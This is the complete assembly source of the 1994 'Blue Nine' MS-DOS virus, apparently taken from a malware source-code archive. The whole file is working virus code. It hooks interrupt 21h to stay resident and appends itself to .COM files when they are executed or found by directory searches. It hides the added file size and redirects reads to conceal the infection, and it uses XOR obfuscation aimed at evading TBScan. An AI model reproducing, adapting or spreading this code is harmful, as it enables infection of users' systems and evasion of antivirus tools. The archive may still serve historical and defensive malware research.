MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.bluenine.asm
2021-01-12 17:31:39 -06:00

577 lines
14 KiB
NASM
Raw Blame History

; The Blue Nine virus... (c) 94 Conzouler
; Resident in conventional memory
; Com infection on load and execute
; Com infection on 11/12 (dir for short - TU)
; Size stealth on 11/12
; Size stealth on 4E/4F
; Infection check: seconds=4
; Installation check: get dos version with cx=666
; Redirection stealth on 3D/3F
; No TBScan flags (by hard heuristic as per version 6.26 - TU)
.model tiny
.code
org 100h
parasize equ ((offset virend - offset start) / 10h) + 1
bytesize equ parasize*10h
Start:
db 0E9h ; Near jmp to ResCheck
dw 03h
HostStartO db 0CDh ; Buffer to save hosthead
HostStartA dw 09020h ; int20 + nop
ResCheck:
push ax
; Perform installation check
mov ah, 30h
mov cx, 666
int 21h ; Dos would set cx to 0
cmp cx, 444 ; but virus will set to 444
je RestoreHost ; if resident
cmp al, 03h ; Don't go resident
jb RestoreHost ; If dosver less than 3.00
Install:
; Code to place virus in memory
mov bx, es ; Dec es to get MCB
dec bx
mov es, bx
mov bx, es:[3] ; Get size of MB and dec it
push cs
pop es
sub bx, parasize+2
mov ah, 4Ah
int 21h
mov ah, 48h ; Allocate MB to virus
mov bx, parasize+1
int 21h
dec ax ; Put MCB in es:0
mov es, ax
mov word ptr es:[1], 08 ; Change owner to system
push word ptr ds:[101h] ; Get delta offset
pop si
add si, 103h ; Get jmp pos
mov di, 16h ; Move virus to new block
mov cx, bytesize-6
rep movsb
sub ax, 0Fh ; Jmp to new block
push ax
mov ax, offset InstVec
push ax
retf
Org21:
db 0EAh ; Far abs jmp
o21 label
Org21ofs dw ?
Org21seg dw ?
InstVec:
; Code to install virus in vector21
mov ax, 3521h ; Save org21
int 21h
mov cs:Org21ofs, bx
mov bx, es
mov cs:Org21seg, bx
mov ax, 2125h ; Set Vector21
xchg ah, al
push ds
push cs
pop ds
mov dx, offset Vector21
int 21h
pop ds
RestoreHost:
mov si, ds:[101h] ; Get addr from jmp opc
add si, 100h ; addr to hoststarto
mov ah, ds:[si] ; Restore hosthead
mov ds:[100h], ah
inc si
mov ax, ds:[si]
mov ds:[101h], ax
pop ax
push ds ; Set es to host cs
pop es
push ds ; Save host address
mov bx, 100h
push bx
retf
icheck: ; Installation check
cmp cx, 666
jne Org21
mov cx, 444
retf 2
Vector21:
cmp ah, 30h ; Installation check?
jne chn1
jmp icheck
chn1: cmp ax, 4B00h ; Load and execute?
jne chn2
call cominfect
chn2: cmp ah, 11h ; find first/next (fcb)?
je fff
cmp ah, 12h
jne chn3
fff: call dos
cmp al, 0FFh
je chn3
jmp fcbsearch
chn3: cmp ah, 4Eh ; find first handle?
jne chn4
call dos
jnc found
retf 2
chn4: cmp ah, 4Fh ; find next handle?
jne chn5
call dos
jnc found
retf 2
found: jmp hdlsearch
chn5: cmp ah, 3Dh ; open handle?
jne chn6
call dos
jnc opened
retf 2
opened: jmp hdlopen
chn6: cmp ah, 3Fh ; read from handle
jne chnx
jmp hdlread
chnx: jmp Org21 ; Chain to dos
db ' <20><>- Blue Nine Virus by Conzouler 1994 -<2D><> '
cominfect proc
push ax
push bx
push cx
push dx
push ds
mov ax, 3d82h
call dos
jc ciexit
mov bx, ax
call appendcom
ciexit:
pop ds
pop dx
pop cx
pop bx
pop ax
ret
cominfect endp
appendcom proc
; infects the file handle in bx
mov ax, 5700h ; Get date time
call dos
and cx, 0FFE0h ; Mask seconds
or cx, 02h ; Set to 4
push cx ; Store date time
push dx
push cs ; Read head
pop ds
mov dx, offset HostStartO
mov ah, 3Fh
mov cx, 03
call dos
push word ptr HostStartO
pop dx
xchg dh, dl
cmp dx, 'MZ' ;Check if .exe
je apcomexit
mov dx, HostStartA ; Infection check
add dx, 3 ; Seek to jmp loc
xor cx, cx
mov ax, 4200h
call Dos
mov ah, 3Fh ; Read 2 bytes
mov cx, 2h
mov dx, offset Start
call dos
mov ax, 0b450h
cmp word ptr Start, ax ; infected?
je apcomexit
mov al, 02h ; Goto eof
call fseek
mov byte ptr ds:[100h], 0E9h; Assemble jmp
mov ds:[101h], ax ; jmp to eof + 3
mov dx, offset HostStartO ; Append virus
mov ah, 40h xor 66
xor ah, 66
mov cx, bytesize-3
call dos
mov al, 00h ; Goto start
call fseek
mov ah, 40h xor 66 ; Write jmp
xor ah, 66
mov dx, 100h
mov cx, 3
call dos
apcomexit:
pop dx ; Set date
pop cx
mov ax, 5701h
call dos
mov ah, 3Eh ; Close file
call dos
ret
appendcom endp
fcbsearch:
; called after successful find first/next on fcb
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
call getdta
lodsb ; extended fcb?
cmp al, 0FFh
jne normfcb
add si, 7
normfcb:
mov di, si
add si, 8 ; to extension
lodsw
cmp ax, 'OC' ; is almost com?
jne fcbnocom
lodsb
cmp al, 'M' ; is definitely com?
jne fcbnocom
add si, 0Bh ; Get time stamp
lodsb
and al, 1Fh ; Mask seconds
cmp al, 2 ; infected?
jne fcbnotinfc
add si, 5 ; size-stealth
sub ds:[si], bytesize-3
jmp fcbexit
fcbnotinfc: ; infect file
in al, 41h ; Get timer (rnd)
and al, 03h
cmp al, 03h
jne fcbexit ; Good guy today?
push cs ; Convert to asciz
pop es
mov si, di
mov di, offset virend
push di
mov cx, 8
loop3: lodsb
cmp al, ' '
je loopx
stosb
loop loop3
loopx: mov ax, 'C.'
stosw
mov ax, 'MO'
stosw
mov al, 0
stosb
pop dx
push es
pop ds
mov ax, 3D82h
call dos
jc fcbexit
mov bx, ax
call appendcom
fcbnocom:
fcbexit:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
retf 2 ; Back to caller
hdlsearch:
; Called on successful find first/next on handle
pushf
push ax
push cx
push si
push di
push ds
push es
call getdta ; dta to es:si and ds:si
mov di, si
add di, 1Eh ; di to name
mov cx, 9
mov al, '.'
repne scasb ; scan for extension
jne hdlexit
xchg si, di
lodsw
cmp ax, 'OC' ; check if com?
jne hdlexit
lodsb
cmp al, 'M' ; is com?
jne hdlexit
xchg si, di ; check date
add si, 16h ; si to time
lodsb
and al, 1Fh ; mask seconds
cmp al, 02h ; seconds=4?
jne hdlexit
sub word ptr [si+3], bytesize-3 ; Size stealth
hdlexit:
pop es
pop ds
pop di
pop si
pop cx
pop ax
popf
retf 2
hdlopen:
; called after successful file open
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
mov bx, ax ; Get sft number
call getsft ; sft to ds:si and es:di
jc hoexit
add si, 28h ; extension to ds:si
lodsw
cmp ax, 'OC' ; is com?
jne hoexit
lodsb
cmp al, 'M' ; sure?
jne hoexit
sub si, 1Eh ; check time
lodsw
and al, 1Fh ; mask seconds
cmp al, 02h ; infected?
jne hoexit
add di, 05h ; Mark infection in sft
or word ptr [di], 4000h
add di, 0Ch ; Change size in sft
mov dx, [di]
sub dx, bytesize-3
xor cx, cx
mov ax, 4200h
call dos
mov ah, 3Fh ; Load header
mov dx, si
sub dx, 02h
mov cx, 3
call dos
mov al, 0
call fseek
mov byte ptr [si+1], 31
sub word ptr [di], bytesize-3
hoexit: pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
retf 2
hdlread:
; called before a read from handle (3F)
push si
push di
push es
push cx
push dx
push ds
call getsft ; check if marked in sft
jc hrnoti
add si, 05h
lodsw
and ah, 40h
cmp ah, 40h ; redirect?
jne hrnoti
cmp byte ptr [si+9], 31 ; redirect?
jne hrnoti
mov ax, [si+0Eh] ; Get offset and
cmp ax, 02h ; redirect only if it is
ja hrnoti ; in the first 3 bytes of file
mov cx, 3 ; See how many bytes to redir
sub cx, ax
add si, 6 ; offset to time/date field
pop es ; es to buffer
push cx ; save redir count
mov di, dx
rep movsb ; move header to buffer
mov ax, 4201h ; Skip 3 bytes
xor cx, cx
pop dx
push dx
call dos
pop di
pop dx
pop cx
push dx
add dx, di
sub cx, di
push es
pop ds
mov ah, 3Fh
call dos
add ax, di
pop dx
pop es
pop di
pop si
retf 2
hrnoti: pop ds ; perform normal read
pop dx
pop cx
pop es
pop di
pop si
mov ah, 3Fh
call dos
retf 2
getdta proc
push bx
mov ah, 2Fh ; Get dta
call dos
push es ; ds:si to dta
pop ds
mov si, bx
pop bx
getdta endp
fseek proc
mov ah, 42h
xor cx, cx
xor dx, dx
call dos
ret
fseek endp
getsft proc
push bx
mov ax, 1220h xor 666
xor ax, 666
int 2Fh
jc gsftexit
cmp byte ptr es:[di], 0FFh ; Invalid handle?
je gsftexit
xor bx, bx ; Get sft address
mov bl, es:[di] ; sft to bx
mov ax, 1216h xor 666
xor ax, 666
int 2Fh
jc gsftexit ; ok?
push es
pop ds
mov si, di ; sft-address to ds:si
pop bx
clc
ret
gsftexit:
pop bx
stc
ret
getsft endp
dos proc
pushf
call dword ptr cs:o21
ret
dos endp
virend:
end start